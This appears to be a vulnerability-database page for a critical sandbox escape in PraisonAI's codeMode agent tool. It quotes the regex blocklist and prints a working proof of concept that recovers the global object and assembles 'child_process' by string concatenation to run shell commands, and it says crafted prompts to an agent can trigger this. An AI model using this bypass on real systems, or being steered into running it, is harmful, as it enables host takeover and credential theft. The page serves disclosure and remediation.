CVE-2026-57141

CRITICALPre-NVD 9.89.8
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.8 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
9.8EG
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS PROB: CVSS: 9.8Exploit: None knownExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

PraisonAI: Remote Code Execution via Sandbox Escape in codeMode Tool

Summary

The codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts uses new Function() with a with(sandbox) pattern to execute LLM-generated code. The blocklist-based "sandbox" can be trivially bypassed via Function('return this')() to recover the global object, followed by global.require() with string concatenation to evade the blocklist regex. This allows full arbitrary code execution on the host system. This affects all deployments where the code-mode tool is enabled for agents.

Details

Vulnerable code (lines 187–191):
const fn = new Function(
  'sandbox',
  with (sandbox) { ${code} }
);
const result = fn(sandbox);

The code parameter comes from LLM tool call arguments (the execute method at line 104). Before execution, a regex-based blocklist is applied (lines 108–136):

const blockedPatterns = [
  /require\s*\(\s*['"]child_process['"]\s*\)/,
  /require\s*\(\s*['"]fs['"]\s*\)/,
  /import\s+.*from\s+['"]child_process['"]/,
  /process\.exit/,
  /eval\s*\(/,
];

Three fundamental weaknesses:

  • with(sandbox) does not provide isolation. The with statement in JavaScript adds an object to the scope chain but does NOT prevent accessing the global object. The sandbox object sets process: undefined and require: undefined, but these are recovered via the global scope:
const g = Function('return this')();
   g.require('child_' + 'process')
  • Blocklist evasion via string concatenation. The regex /require\s*\(\s*['"]child_process['"]\s*\)/ requires the literal string 'child_process' or "child_process" inside require(). Using require('child_' + 'process') bypasses this because the regex sees a variable concatenation, not a literal string.
  • Function('return this')() is not blocked. None of the blocklist patterns match Function(, return this, or global.require.

PoC

Setup: Clean checkout at commit d5f1114a, Node.js v20.20.0 (tested environment).

Positive trigger — full RCE with sandbox escape (OBSERVED OUTPUT):

// This code bypasses ALL blocklist patterns and achieves RCE:
const code = 
const Func = (function(){}).constructor;
const proc = Func('return process')();
console.log('process.version:', proc.version);
const g = Function('return this')();
const mod = 'child_' + 'process';
const cp = g.require(mod);
console.log('RCE:', cp.execSync('id').toString().trim());
;

Observed output (executed in this environment):

OUT: process.version: v20.20.0
OUT: RCE: uid=1000(sondt23) gid=1000(sondt23) groups=1000(sondt23),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),983(docker),984(ollama)

The escape was confirmed by executing the exact code-mode sandbox pattern (new Function('sandbox', 'with (sandbox) { ... }')) with the blocklist applied first. ALL blocklist patterns were bypassed, and the id command returned the real system user ID.

Negative control — blocklist correctly catches direct require:

const code = require('child_process');
// Returns: "Blocked pattern detected: require\s*\(\s*['"]child_process['"]\s*\)"

Negative control — blocklist correctly catches eval:

const code = eval('process');
// Returns: "Blocked pattern detected: eval\s*\("

Cleanup: No persistence needed; the code runs in-process.

Impact

An attacker who can influence the code parameter of the codeMode tool (via crafted prompts to an AI agent using praisonai-ts) achieves full arbitrary code execution on the host system. This includes:

  • Read/write any file accessible to the process user
  • Execute arbitrary system commands via child_process
  • Exfiltrate environment variables containing API keys, tokens, and credentials
  • Install persistent backdoors by writing to startup files
  • Move laterally in containerized environments

Suggested remediation

The with(sandbox) + blocklist pattern is fundamentally insecure and cannot be fixed with regex improvements. Replace it with:

  • Use vm module with proper context isolation:
import { createContext, runInContext } from 'vm';
const sandbox = createContext({ /* safe globals only */ });
runInContext(code, sandbox, { timeout: 5000 });
  • Or use isolated-vm for true process-level isolation with separate V8 isolates.
  • Or run code in a subprocess (like the Python _execute_code_sandboxed pattern already used in python_tools.py) with a clean environment and resource limits.
  • If a blocklist approach must be retained, add patterns for:
  • Function( / new Function
  • constructor / __proto__ / prototype
  • return this / return global
  • global / globalThis / window
But note: blocklist approaches are inherently fragile and will continue to have bypasses.

CVSS v3
9.8
EG Score
9.8(low)
EG Risk
49(Track)
EG Risk 49/100SSVC: Track

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity98% × 45%
Exploitation0% × 40%
Automatability30% × 15%
Action: Routine — remediate on your standard cadence.
EPSS PROB
EPSS %ILE
KEV
Not listed

Published

June 18, 2026

Last Modified

June 18, 2026

Vendor Advisories for CVE-2026-57141(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
npm(1)
PackageVulnerable rangeFixed inDependents
praisonai1.7.2

Data Freshness Timeline

(refreshed 3× in last 7d / 3× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-26 17:45 UTCEG score recompute
  2. 2026-07-23 03:20 UTCEG score recompute
  3. 2026-07-20 21:33 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-57141?
CVE-2026-57141 is a critical vulnerability published on June 18, 2026. PraisonAI: Remote Code Execution via Sandbox Escape in codeMode Tool Summary The codeMode tool in src/praisonai-ts/src/tools/builtins/code-mode.ts uses new Function() with a with(sandbox) pattern to execute LLM-generated code. The blocklist-based "sandbox" can be trivially bypassed via…
When was CVE-2026-57141 disclosed?
CVE-2026-57141 was first published in the National Vulnerability Database on June 18, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-57141?
CVE-2026-57141 has a CVSS v4.0 base score of 9.8 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-57141?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-57141, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-57141

Explore →

Is Your Infrastructure Affected by CVE-2026-57141?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.